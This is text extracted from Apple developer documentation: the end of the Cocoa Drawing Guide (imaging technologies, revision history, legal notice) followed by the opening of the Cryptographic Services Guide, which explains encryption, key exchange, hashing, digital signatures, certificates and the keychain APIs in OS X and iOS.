Quartz layers are a mutable alternative to Quartz images. You can draw to layers much like you would draw to an NSImage object. You do so by creating a context, locking focus on that context, drawing, and retrieving an image object from the results. Because they are implemented in video memory, layers can be very efficient to use, especially if you need to draw the same image repeatedly. Quartz layers are available in OS X v10.4 and later as part of the Application Services framework. Quartz Layers (CGLayerRef) The Core Image framework is geared toward processing image data. You would use this technology to apply visual effects or filters to existing bitmap images. Because it is explicitly designed for manipulating bitmap images, you must convert your images to a CIImage object before you do any processing. Core Image is available in OS X v10.4 and later as part of the Quartz Core framework. Core Image (CIImage) The Image I/O framework is geared towards developers who need more direct control over reading and writing image data. You might use this framework to convert imagesfrom one format to another or you might use it to add metadata to an image created by your program. The features of Image I/O are available in OS X v10.4 and later as part of the Application Services framework. Image I/O While not explicitly an imaging technology, the Core Animation framework is a smart and efficient way to render images and other data inside a view. The framework provides a cached backing store that makes it possible to do animations with a minimal amount of redrawing. You might use this technology in place of NSImage or other imaging technologies to create animation effects or other rapidly changing graphics. It offers respectable animation performance without requiring you to use low-level APIs such as OpenGL. The Core Animation framework is available in OS X v10.5 and later as part of the Quartz Core framework. Core Animation Incorporating Other Drawing Technologies Choosing the Right Imaging Technology 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 169This table describes the changes to Cocoa Drawing Guide . Date Notes Added information on supporting offscreen drawing for high resolution displays. 2012-09-19 Added “Drawing Offscreen Images Using a Block-Based Drawing Method to Support High Resolution Displays” (page 89). Updated “Guidelines for Using Images” (page 86). 2012-07-23 Updated links to guidelines on high resolution. 2011-01-18 Corrected reference to application icon image name constant. 2009-10-19 Corrected typos. 2009-01-06 Updated the guidelines associated with resolution independent drawing. Updated advice for creating an NSImage from a CGImageRef. Updated the discussion of screen coordinates. 2008-10-15 2007-10-31 Updated the content for OS X v10.5. Added information about NSGradient and rounded rectangle support. Updated the information about flipped coordinate systems. Fixed bugs in several code examples. Added guidance about which imaging technologies work best for different types of operations. Added the mathematical equations corresponding to the available compositing operations. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 170 Document Revision HistoryDate Notes Fixed several code examples and added information about how to add a ColorSync profile to a bitmap. 2006-10-03 Changed matrix values to match the values in NSAffineTransformStruct. Fixed example for casting a CGRect to an NSRect. 2006-06-28 2006-04-04 Moved animation object details to "Animation Programming Guide." New document that describes how to draw content from a Cocoa application. 2006-03-08 This document replaces information about Cocoa drawing that was previously published in BasicDrawing , Drawing and Images, TheDrawing Environment, and OpenGL . Document Revision History 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 171Apple Inc. © 2005, 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Carbon, Cocoa, ColorSync, Mac, Mac OS, Macintosh, Objective-C, OS X, Quartz,QuickDraw,QuickTime, Spaces, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. Retina is a trademark of Apple Inc. Adobe, Acrobat, and PostScript are trademarks or registered trademarks of Adobe Systems Incorporated in the U.S. and/or other countries. Helvetica is a registered trademark of Heidelberger Druckmaschinen AG, available from Linotype Library GmbH. OpenGL is a registered trademark of Silicon Graphics, Inc. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Cryptographic Services GuideContents About Cryptographic Services 5 At a Glance 5 How to Use This Document 5 Prerequisites 5 See Also 6 Cryptography Concepts In Depth 7 What Is Encryption? 7 Types of Encryption 8 Symmetric Keys 8 Asymmetric Keys 9 Diffie-Hellman Key Exchange 11 Cryptographic Hash Functions 12 Digital Signatures 12 Digital Certificates 14 Encrypting and Hashing Data 19 Encryption Technologies Common to iOS and OS X 19 Keychain Services 19 Cryptographic Message Syntax Services 20 Certificate, Key, and Trust Services 20 Common Crypto 20 Encryption Technologies Specific to OS X 20 Security Transforms 20 CDSA/CSSM 21 OpenSSL 22 Encryption in iOS 22 Managing Keys, Certificates, and Passwords 23 Certificate, Key, and Trust Services 23 Keychain Services 24 To Learn More 24 Generating Random Numbers 25 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 2Generating Random Numbers in OS X 25 Generating Random Numbers in iOS 26 Transmitting Data Securely 27 Using the URL Loading System 28 CFNetwork 28 Secure Transport 29 OpenSSL 29 To Learn More 30 CDSA Overview 31 Apple CDSA Plug-ins 33 AppleCSP Module 33 AppleFileDL Module 33 AppleCSP/DL Module 34 AppleX509CL Module 34 AppleX509TP Module 34 CSSM Services 35 Cryptographic Services 35 Data Store Services 36 Certificate Services 36 Trust Policy Services 36 Authorization Computation Services 36 Document Revision History 37 Glossary 38 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsFigures Cryptography Concepts In Depth 7 Figure 1-1 Asymmetric key encryption 10 Figure 1-2 Creating a digital signature 13 Figure 1-3 Verifying a digital signature 14 Figure 1-4 Anatomy of a digital certificate 15 Figure 1-5 Creating the certificates for the root CA and a secondary CA 16 Figure 1-6 Creating the certificate for an end user and signing a document with it 17 CDSA Overview 31 Figure A-1 OS X implementation of CDSA 32 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 4OS X and iOS provide a number of technologiesthat provide cryptographic services—encryption and decryption, hashing, random number generation, secure network communication, and so on. These technologies can be used to secure data at rest (when stored on your hard drive or other media), secure data in transit, determine the identity of a third party, and build additional security technologies. At a Glance OS X and iOS provide a wide range of cryptographic services, including: ● Encryption and decryption (both general-purpose and special-purpose) ● Key management using keychains ● Cryptographically strong random number generation ● Secure communication (SSL and TLS) ● Secure storage using FileVault and iOS File Protection How to Use This Document “Cryptography Concepts In Depth” (page 7) provides a basic grounding in cryptographic concepts and terminology. These concepts are not specific to OS X or iOS, but are necessary for understanding the rest of the book. “Encrypting Data” (page 19) describes the APIs available in OS X and iOS for general-purpose encryption. Prerequisites Before reading this document, you should be familiar with the conceptsin SecurityOverview and Secure Coding Guide . 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 5 About Cryptographic ServicesSee Also For more information about OS X authentication and authorization (built on top of encryption technologies), read Authentication, Authorization, and Permissions Guide . About Cryptographic Services See Also 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 6The word cryptography (from Greek kryptos, meaning hidden) at its core refers to techniques for making data unreadable to prying eyes. This is not a complete definition, however. In practice, cryptography can includes a range of techniques that can be used for verifying the authenticity of data (detecting modifications), determining the identity of a person or other entity, determining who sent a particular message or created a particular piece of data, sending data securely across a network, locking files securely behind a password or passphrase, and so on. This chapter describes a number of these techniques, beginning with basic encryption, then moving on to other cryptographic constructs built on top of it. Note: This chapter repeats many of the concepts in Security Overview, but with additional detail and depth. It may help to read that document before reading this chapter. What Is Encryption? Encryption is the transformation of data into a form in which it cannot be made sense of without the use of some key. Such transformed data is referred to as ciphertext. Use of a key to reverse this process and return the data to its original (cleartext or plaintext) form is called decryption. Most of the security APIs in OS X and iOS rely to some degree on encryption of text or data. For example, encryption is used in the creation of certificates and digital signatures, in secure storage of secrets in the keychain, and in secure transport of information. Encryption can be anything from a simple process of substituting one character for another—in which case the key is the substitution rule—to a complex mathematical algorithm. For purposes of security, the more difficult it is to decrypt the ciphertext, the better. On the other hand, if the algorithm is too complex, takes too long to do, or requires keys that are too large to store easily, it becomes impractical for use in a personal computer. Therefore,some balance must be reached between strength of the encryption (that is, how difficult it is for someone to discover the algorithm and the key) and ease of use. 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 7 Cryptography Concepts In DepthFor practical purposes, the encryption need only be strong enough to protect the data for the amount of time the data might be useful to a person with malicious intent. For example, if you need to keep your bid on a contract secret only until after the contract has been awarded, an encryption method that can be broken in a few weeks willsuffice. If you are protecting your credit card number, you probably want an encryption method that cannot be broken for many years. Types of Encryption There are two main types of encryption in use in computer security, referred to as symmetric key encryption and asymmetric key encryption . A closely related process to encryption, in which the data is transformed using a key and a mathematical algorithm that cannot be reversed, is called cryptographic hashing. The remainder of thissection discusses encryption keys, key exchange mechanisms(including the Diffie-Hellman key exchange used in some OS X secure transport protocols), and cryptographic hash functions. Symmetric Keys Symmetric key cryptography (also called private key cryptography or secret key cryptography) is the classic use of keysthat most people are familiar with: the same key is used to encrypt and decrypt the data. The classic, and most easily breakable, version of this is the Caesar cipher (named for Julius Caesar), in which each letter in a message is replaced by a letter that is a fixed number of positions away in the alphabet (for example, “a” is replaced by “c”, “b” is replaced by “d”, and so forth). In this case, the key used to encrypt and decrypt the message issimply the number of positionsin the alphabet to shift the letters. Modern symmetric key algorithms are much more sophisticated and much harder to break. However, they share the property of using the same key for encryption and decryption. There are many different algorithms used for symmetric key cryptography, offering anything from minimal to nearly unbreakable security. Some of these algorithms offer strong security, easy implementation in code, and rapid encryption and decryption. Such algorithms are very useful for such purposes as encrypting files stored on a computer to protect them in case an unauthorized individual uses the computer. They are somewhat less useful forsending messagesfrom one computer to another, because both ends of the communication channel must possess the key and must keep it secure. Distribution and secure storage of such keys can be difficult and can open security vulnerabilities. In 1968, the USS Pueblo , a U.S. Navy intelligence ship, was captured by the North Koreans. At the time, every Navy ship carried symmetric keys for a variety of code machines at a variety of security levels. Each key was changed daily. Because there was no way to know how many of these keys had not been destroyed by the Pueblo’s crew and therefore were in the possession of North Korea, the Navy had to assume that all keys being Cryptography Concepts In Depth Types of Encryption 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 8carried by the Pueblo had been compromised. Every ship and shore station in the Pacific theater (that is,several thousand installations, including ships at sea) had to replace all of their keys by physically carrying code books and punched cards to each installation. The Pueblo incident was an extreme case. However, it hassomething in common with the problem of providing secure communication for commerce over the Internet. In both cases, codes are used for sending secure messages, not between two locations, but between a server (the Internetserver or the Navy’s communications center) and a large number of communicants (individual web users or ships and shore stations). The more end users that are involved in the secure communications, the greater the problems of distribution and protection of the secret symmetric keys. Although secure techniques for exchanging or creating symmetric keys can overcome this problem to some extent (for example, Diffie-Hellman key exchange, described later in this chapter), a more practical solution for use in computer communications came about with the invention of practical algorithms for asymmetric key cryptography. Asymmetric Keys In asymmetric key cryptography, different keys are used for encrypting and decrypting a message. The asymmetric key algorithms that are most useful are those in which neither key can be deduced from the other. In that case, one key can be made public while the other is kept secure. There are some distinct advantages to this public-key–private-key arrangement, often referred to as public key cryptography: the necessity of distributing secret keysto large numbers of usersis eliminated, and the algorithm can be used for authentication as well as for cryptography. The first public key algorithm to become widely available was described by Ron Rivest, Adi Shamir, and Len Adleman in 1977, and is known as RSA encryption from their initials. Although other public key algorithms have been created since, RSA is still the most commonly used. The mathematics of the method are beyond the scope of this document, and are available on the Internet and in many books on cryptography. The algorithm is based on mathematical manipulation of two large prime numbers and their product. Its strength is believed to be related to the difficulty of factoring a very large number. With the current and foreseeable speed of modern digital computers, the selection of long-enough prime numbers in the generation of the RSA keys should make this algorithm secure indefinitely. However, this belief has not been proved mathematically, and either a fast factorization algorithm or an entirely different way of breaking RSA encryption might be possible. Also, if practical quantum computers are developed, factoring large numbers will no longer be an intractable problem. Other public key algorithms, based on different mathematics of equivalent complexity to RSA, include ElGamal encryption and elliptic curve encryption. Their use issimilar to RSA encryption (though the mathematics behind them differs), and they will not be discussed further in this document. Cryptography Concepts In Depth Types of Encryption 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 9To see how public key algorithms address the problem of key distribution, assume that Alice wants to receive a secure communication from Bob. The procedure is illustrated in Figure 1-1. Figure 1-1 Asymmetric key encryption The secure message exchange illustrated in Figure 1-1 has the following steps: 1. Alice uses one of the public key algorithms to generate a pair of encryption keys: a private key, which she keeps secret, and a public key. She also prepares a message to send to Bob. 2. Alice sends the public key to Bob, unencrypted. Because her private key cannot be deduced from the public key, doing so does not compromise her private key in any way. 3. Alice can now easily prove her identity to Bob (a process known as authentication ). To do so, she encrypts her message (or any portion of the message) using her private key and sends it to Bob. 4. Bob decrypts the message with Alice’s public key. This proves the message must have come from Alice, as only she has the private key used to encrypt it. Cryptography Concepts In Depth Types of Encryption 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 105. Bob encrypts his message using Alice’s public key and sends it to Alice. The message is secure, because even if it is intercepted, no one but Alice has the private key needed to decrypt it. 6. Alice decrypts the message with her private key. Since encryption and authentication are subjects of great interest in nationalsecurity and protecting corporate secrets, some extremely smart people are engaged both in creating secure systems and in trying to break them. Therefore, itshould come as no surprise that actualsecure communication and authentication procedures are considerably more complex than the one just described. For example, the authentication method of encrypting the message with your private key can be got around by a man-in-the-middle attack, where someone with malicious intent (usually referred to as Eve in books on cryptography) intercepts Alice’s original message and replacesit with their own,so that Bob is using not Alice’s public key, but Eve’s. Eve then intercepts each of Alice’s messages, decrypts it with Alice’s public key, alters it (if she wishes), and reencrypts it with her own private key. When Bob receives the message, he decrypts it with Eve’s public key, thinking that the key came from Alice. Although this is a subject much too broad and technical to be covered in detail in this document, digital certificates and digital signatures can help address these security problems. These techniques are described later in this chapter. Diffie-Hellman Key Exchange The Diffie-Hellman key exchange protocol is a way for two ends of a communication session to generate symmetric private keys through the exchange of public keys. The two sides agree beforehand on the exact algorithm to use and certain parameters, such as the size of the keys. Then each side selects a random number as a private key and uses that number to generate a public key, according to the algorithm. The security of this algorithm dependsin part on it being extremely difficult to derive or guessthe private key from this public key. The two sides exchange public keys and then each generates a session key using their own private key and the other side’s public key. The mathematics of the algorithm is such that, even though neither side knows the other side’s private key, both sides’ session keys are identical. A third party intercepting the public keys but lacking knowledge of either private key cannot generate a session key. Therefore, data encrypted with the session key is secure while in transit. Although Diffie-Hellman key exchange provides strong protection against compromise of intercepted data, it provides no mechanism for ensuring that the entity on the other end of the connection is who you think it is. That is, this protocol is vulnerable to a man-in-the-middle attack. Therefore, it is sometimes used together with some other authentication method to ensure the integrity of the data. Cryptography Concepts In Depth Diffie-Hellman Key Exchange 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 11Diffie-Hellman key exchange is supported by Apple Filing Protocol (AFP) version 3.1 and later and by Apple’s Secure Transport API. Because RSA encryption tends to be slower than symmetric key methods, Diffie-Hellman (and other systems where public keys are used to generate symmetric private keys) can be useful when a lot of encrypted data must be exchanged. Cryptographic Hash Functions A cryptographic hash function takes any amount of data and applies an algorithm that transforms it into a fixed-size output value. For a cryptographic hash function to be useful, it has to be extremely difficult or impossible to reconstruct the original data from the hash value, and it must be extremely unlikely that the same output value could result from any other input data. Sometimes it is more important to verify the integrity of data than to keep it secret. For example, if Alice sent a message to Bob instructing him to shred some records (legally, of course), it would be important to Bob to verify that the list of documents was accurate before proceeding with the shredding. Since the shredding is legal, however, there is no need to encrypt the message, a computationally expensive and time-consuming process. Instead, Alice could compute a hash of the message (called a message digest) and encrypt the digest with her private key. When Bob receives the message, he decrypts the message digest with Alice’s public key (thus verifying that the message is from Alice) and computes his own message digest from the message text. If the two digests match, Bob knows the message has not been corrupted or tampered with. The most common hash function you will use is SHA-1, an algorithm developed and published by the U.S. Government that produces a 160-bit hash value from any data up to 2**64 bits in length. There are also a number of more exotic algorithms such as SHA-2, elliptic-curve-based algorithms, and so on. For compatibility with existing systems and infrastructure, you may occasionally need to use older algorithms such as MD5, but they are not recommended for use in new designs because of known weaknesses. Digital Signatures Digital signatures are a way to ensure the integrity of a message or other data using public key cryptography. Like traditionalsignatures written with ink on paper, they can be used to authenticate the identity of the signer of the data. However, digital signatures go beyond traditional signatures in that they can also ensure that the data itself has not been altered. This is like signing a check in such a way that if someone changes the amount of the sum written on the check, an “Invalid” stamp becomes visible on the face of the check. To create a digital signature, the signer generates a message digest of the data and then uses a private key to encrypt the digest. The signature includes the encrypted digest and information about the signer’s digital certificate. The certificate is used to verify the signature; it includesthe public key needed to decrypt the digest Cryptography Concepts In Depth Cryptographic Hash Functions 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 12and the algorithm used to create the digest. To verify that the signed document has not been altered, the recipient uses the algorithm to create their own message digest and uses the public key to decrypt the digest in the signature. If the two digests are identical, then the message cannot have been altered and must have been sent by the owner of the public key. To ensure that the person who provided the signature is not only the same person who provided the data but is also who they say they are, the certificate is also signed—in this case by the certification authority who issued the certificate. Digital signatures play a key role in code signing. Developers are encouraged to sign their applications. On execution, each application’ssignature is checked for validity. Digitalsignatures are required on all applications for iOS. Read Code Signing Guide for details about how code signing is used by OS X and iOS. Figure 1-2 illustrates the creation of a digital signature. Figure 1-2 Creating a digital signature CA signature CA signature Cryptography Concepts In Depth Digital Signatures 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 13Figure 1-3 illustrates the verification of a digital signature. The recipient gets the signer’s public key from the signer’s certificate and uses that to decrypt the digest. Then, using the algorithm indicated in the certificate, the recipient creates a new digest of the data and compares the new digest to the decrypted copy of the one delivered in the signature. If they match, then the received data must be identical to the original data created by the signer. Figure 1-3 Verifying a digital signature Hash CA signature Digital Certificates A digital certificate is a collection of data used to verify the identity of the holder or sender of the certificate. For example, an X.509 certificate contains such information as: ● Structural information—version,serial number, the message digest algorithm used to create the signature, and so on ● A digital signature from the certificate authority to ensure that the certificate has not been altered and to indicate the identity of the issuer ● Information about the certificate holder—name, email address, company name, the owner’s public key, and so on ● Validity period (the certificate is not valid before or after this period) Cryptography Concepts In Depth Digital Certificates 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 14● Attributes, known as certificate extensions, that contain additional information such as allowable uses for this certificate The careful reader will have noticed that a digital signature includes the certificate of the signer, and that the signer’s certificate, in turn, contains a digital signature that includes another certificate. In general, each certificate is verified through the use of another certificate, creating a chain of trust—a certificate chain that ends with a root certificate. The issuer of a certificate is called a certification authority (CA). The owner of the root certificate is the root certification authority. Figure 1-4 illustrates the anatomy of a digital certificate. Figure 1-4 Anatomy of a digital certificate Cryptography Concepts In Depth Digital Certificates 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 15The root certificate is self-signed, meaning the signature of the root certificate was created by the root certification authority themselves. Figure 1-5 and Figure 1-6 illustrate how a chain of certificates is created and used. Figure 1-5 shows how the root certification authority creates its own certificate and then creates a certificate for a secondary certification authority. Figure 1-5 Creating the certificates for the root CA and a secondary CA Cryptography Concepts In Depth Digital Certificates 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 16Figure 1-6 shows how the secondary certification authority creates a certificate for an end user and how the end user uses it to sign a document. Figure 1-6 Creating the certificate for an end user and signing a document with it In Figure 1-6, the creator of the document has signed the document. The signature indicates the certificate of the document’s creator (labeled User in the figure). The document’s creator signs the document with a private key, and the signing certificate contains the corresponding public key, which can be used to decrypt the message digest to verify the signature (described earlier in “Digital Signatures”). This certificate—together with the private and public keys—was provided by a certification authority (CA). In order to verify the validity of the user’s certificate, the certificate is signed using the certificate of the CA. The certificate of the CA includes the public key needed to decrypt the message digest of the user’s certificate. Continuing the certificate chain, the certificate of the CA is signed using the certificate of the authority who issued that certificate. The chain can go on through any number of intermediate certificates, but in Figure 1-5 Cryptography Concepts In Depth Digital Certificates 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 17the issuer of the CA’s certificate is the root certification authority. Note that the certificate of the root CA, unlike the others, is self-signed—that is, it does not refer to a further certification authority but is signed using the root CA’s own private key. When a CA creates a certificate, it uses its private key to encrypt the certificate’s message digest. The signature of every certificate the CA issues refers to its own signing certificate. The CA’s public key is in this certificate, and the application verifying the signature must extract this key to verify the certificate of the CA. So it continues, on down the certificate chain, to the certificate of the root CA. When a root CA issues a certificate, it, too, signs the certificate. However, this signing certificate was not issued by another CA; the chain stops here. Rather, the root CA issues its own signing certificate, as shown in Figure 1-5. The certificate of the root CA can be verified by creating a digest and comparing it with one widely available. Typically, the root certificate and root CA’s public key are already stored in the application or on the computer that needs to verify the signature. It’s possible to end a certificate chain with a trusted certificate that is not a root certificate. For example, a certificate can be certified as trusted by the user, or can be cross certified—that is, signed with more than one certificate chain. The general term for a certificate trusted to certify other certificates—including root certificates and others—is anchor certificate. Because most anchor certificates are root certificates, the two terms are often used interchangeably. The confidence you can have in a given certificate depends on the confidence you have in the anchor certificate; for example, the trust you have in the certificate authorities and in their proceduresfor ensuring thatsubsequent certificate recipients in the certificate chain are fully authenticated. For this reason, it is always a good idea to examine the certificate that comes with a digital signature, even when the signature appears to be valid. In OS X and iOS, all certificates you receive are stored in your keychain. In OS X, you can use the Keychain Access utility to view them. Certain attributes of a digital certificate (known as certificate extensions) are said to establish a level of trust for a digital certificate. A trust policy is a set of rules that specify the appropriate uses for a certificate that has a specific level of trust. In other words, the level of trust for a certificate is used to answer the question “Should I trust this certificate for this action?” For example, in order to be trusted to verify a digitally signed email message, a certificate must contain an email address that matches the address of the sender of the email. Cryptography Concepts In Depth Digital Certificates 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 18Both symmetric and asymmetric key encryption schemes can be used to encrypt data. Asymmetric encryption is most commonly used for sending data across trust boundaries, such as one person sending another person an encrypted email. It is also often used forsending a symmetric session key across an insecure communication channel so that symmetric encryption can then be used for future communication. Symmetric encryption is most commonly used for data at rest (on your hard drive for example) and as a session key in a number of encrypted networking schemes. OS X and iOS provide a number of different APIs for encryption and decryption. This chapter describes the recommended APIs. Encryption Technologies Common to iOS and OS X OS X and iOS provide a number of encryption technologies. Of these, three APIs are available on both iOS and OS X: ● Keychain Services API—provides secure storage for passwords, keys, and so on ● Cryptographic Message Syntax—provides (non-streaming) symmetric and asymmetric encryption and decryption ● Certificate, Key, and Trust Services—provides cryptographic support services and trust validation The sections that follow describe these technologies. Keychain Services The Keychain Services API is commonly used to store passwords, keys, certificates, and othersecretsin a special encrypted file called a keychain. You should always use the keychain to store passwords and othershort pieces of data (such as cookies) that are used to grant access to secure web sites, as otherwise this data might be compromised if an unauthorized person gains access to a user’s computer, mobile device, or a backup thereof. Although this is mostly used for storing passwords and keys, the keychain can also store small amounts of arbitrary data. The keychain is described further in the next chapter. OS X also includes a utility that allows users to store and read the data in the keychain, called Keychain Access. For more information, see “Keychain Access” in Security Overview. 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 19 Encrypting and Hashing DataCryptographic Message Syntax Services The Cryptographic Message Syntax Services programming interface allows you to encrypt or add a digital signature to S/MIME messages. It is a good API to use when signing or encrypting data for store-and-forward applications, such as email. See Cryptographic Message Syntax Services Reference for details. Certificate, Key, and Trust Services The Certificate, Key, and Trust Services API provides trust validation and support functions for cryptography. These features are described further in “Managing Keys, Certificates, and Passwords” (page 23). In iOS, this API also provides basic encryption capabilities, as described in “Encryption in iOS” (page 22). Common Crypto In OS X v10.5 and later and iOS 5.0 and later, Common Crypto provides low-level C support for encryption and decryption. Common Crypto is not as straightforward as Security Transforms, but provides a wider range of features, including additional hashing schemes, cipher modes, and so on. For more information, see the manual page for CommonCrypto. Encryption Technologies Specific to OS X In addition to Keychain Services and Cryptographic Message Syntax Services, OS X provides four additional APIs for performing encryption: ● Security Transforms API—a Core-Foundation-level API that provides support for signing and verifying, symmetric cryptography, and Base64 encoding and decoding ● Common Crypto—a C-level API that can perform most symmetric encryption and decryption tasks ● CDSA/CSSM—a legacy API thatshould be used only to perform tasks notsupported by the other two APIs, such as asymmetric encryption These APIs are described in the sections that follow. Security Transforms In OS X v10.7 and later, the Security Transforms API provides efficient and easy-to-use support for performing cryptographic tasks. Security transforms are the recommended way to perform symmetric encryption and decryption, asymmetric signing and verifying, and Base64 encoding and decoding in OS X. Encrypting and Hashing Data Encryption Technologies Specific to OS X 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 20Based on the concept of data flow programming, the Security Transforms API lets you construct graphs of transformationsthat feed into one another, transparently using Grand Central Dispatch to schedule the resulting work efficiently across multiple CPUs. As the CFDataRef (or NSData) objects pass through the object graph, callbacks within each individual transform operate on that data, then pass it on to the transform’s output, which may be connected to the input of another transform object, and so on. The transform API also provides a file reader transform (based on CFReadStreamRef or NSInputStream objects) that can be chained to the input of other transforms. Out of the box, the Security Transforms API allows you to read files, perform symmetric encryption and decryption, perform asymmetric signing and verifying, and perform Base64 encoding. The Security Transforms API also provides support for creating custom transforms that perform other operations on data. For example, you might create a transform that byte swaps data prior to encrypting it or a transform that encodes the resulting encrypted data for transport. For more information, read Security Transforms Programming Guide and Security Transforms Reference . CDSA/CSSM Important: CDSA (including CSSM) is deprecated and should not be used for new development. It is not available in iOS. CDSA is an Open Source security architecture adopted as a technical standard by the Open Group. Apple has developed its own Open Source implementation of CDSA, available as part of Darwin at Apple’s Open Source site. This API provides a wide array ofsecurity services, including fine-grained access permissions, authentication of users’ identities, encryption, and secure data storage. Although CDSA has its own standard application programming interface (API), it is complex and does not follow standard Apple programming conventions. For thisreason, the CDSA API is deprecated as of OS X version 10.7 (Lion) and is not available in iOS. Fortunately, OS X and iOS include their own higher-level security APIs that abstract away much of that complexity. Where possible, you should use one of the following instead of using CDSA directly: ● The Security Objective-C API for authentication (in OS X). See “Security Objective-C API” in Security Overview for details. ● The Security Transforms API for symmetric encryption and decryption, asymmetric signing and verifying, and other supported tasks in OS X v10.7 and later. See “Security Transforms” (page 20) for details. ● The Certificate, Key, and Trust Services API for general encryption, key management, and other tasks. See “Encryption in iOS” (page 22) for details. Encrypting and Hashing Data Encryption Technologies Specific to OS X 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 21If these APIs do not meet your needs, you can still use CDSA in OS X, but please file bugs at http://bugreport.apple.com/ to request the additional functionality that you need. For more information, read “CDSA Overview” (page 31). OpenSSL Although OpenSSL is commonly used in the open source community, OpenSSL does not provide a stable API from version to version. For this reason, although OS X provides OpenSSL libraries, the OpenSSL libraries in OS X are deprecated, and OpenSSL has never been provided as part of iOS. Use of the OS X OpenSSL libraries by applications is strongly discouraged. If your application depends on OpenSSL, you should compile OpenSSL yourself and statically link a known version of OpenSSL into your application. This use of OpenSSL is possible on both OS X and iOS. However, unless you are trying to maintain source compatibility with an existing open source project, you should generally use a different API. Common Crypto and Security Transforms are the recommended alternativesfor general encryption. CFNetwork and Secure Transport are the recommended alternatives for secure communications. Encryption in iOS In iOS, in addition to providing support functions for encoding and decoding keys, the Certificate, Key, and Trust Services API also provides basic encryption, decryption, signing, and verifying of blocks of data using the following SecKey functions: SecKeyEncrypt—encrypts a block of data using the specified key. SecKeyDecrypt—decrypts a block of data using the specified key. SecKeyRawSign—signs a block of data using the specified key. SecKeyRawVerify—verifies a signature against a block of data and a specified key. You can find examples of how to use these functions in “Certificate, Key, and Trust Services Tasks for iOS” in Certificate, Key, and Trust Services Programming Guide . For detailed reference content, read Certificate, Key, and Trust Services Reference . Encrypting and Hashing Data Encryption in iOS 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 22The keychain provides storage for passwords, encryption keys, certificates, and other small pieces of data. After an application requests access to a keychain, it can store and retrieve sensitive data, confident that untrusted applications cannot access that data without explicit action by the user. In OS X, the user is prompted for permission when an application needs to access the keychain; if the keychain is locked, the user is asked for a password to unlock it. In iOS, an application can access only its own items in the keychain—the user is never asked for permission or for a password. There are two recommended APIs for accessing the keychain: ● Certificate, Key, and Trust Services ● Keychain Services Certificate, Key, and Trust Services Certificate, Key, and Trust Services is a C API for managing certificates, public and private keys, and trust policies in iOS and OS X. You can use these services in your application to: ● Create certificates and asymmetric keys ● Add certificates and keys to keychains, remove them from keychains, and use keys to encrypt and decrypt data ● Retrieve information about a certificate, such as the private key associated with it, the owner, and so on ● Convert certificates to and from portable representations ● Create and manipulate trust policies and evaluate a specific certificate using a specified set of trust policies ● Add anchor certificates In OS X, functions are also available to retrieve anchor certificates and set user-specified settings for trust policies for a given certificate. In iOS, additional functions are provided to: ● Use a private key to generate a digital signature for a block of data 2012-09-19 | © 2012 Apple Inc. All Rights Reserved. 23 Managing Keys, Certificates, and Passwords● Use a public key to verify a signature ● Use a public key to encrypt a block of data ● Use a private key to decrypt a block of data Certificate, Key, and Trust Services operates on certificates that conform to the X.509 ITU standard, uses the keychain for storage and retrieval of certificates and keys, and uses the trust policies provided by Apple. Because certificates are used by SSL and TLS for authentication, the OS X Secure Transport API includes a variety of functions to manage the use of certificates and root certificates in a secure connection. To display the contents of a certificate in an OS X user interface, you can use the SFCertificatePanel and SFCertificateView classes in the Security Objective-C API. In addition, the SFCertificateTrustPanel class displays trust decisions and lets the user edit trust decisions. Keychain Services In OS X and iOS, Keychain Services allows you to create keychains, add, delete, and edit keychain items, and—in OS X only—manage collections of keychains. In most cases, a keychain-aware application does not have to do any keychain management and only has to call a few functions to store or retrieve passwords. By default, backups of iOS data are stored in cleartext, with the exception of passwords and other secrets on the 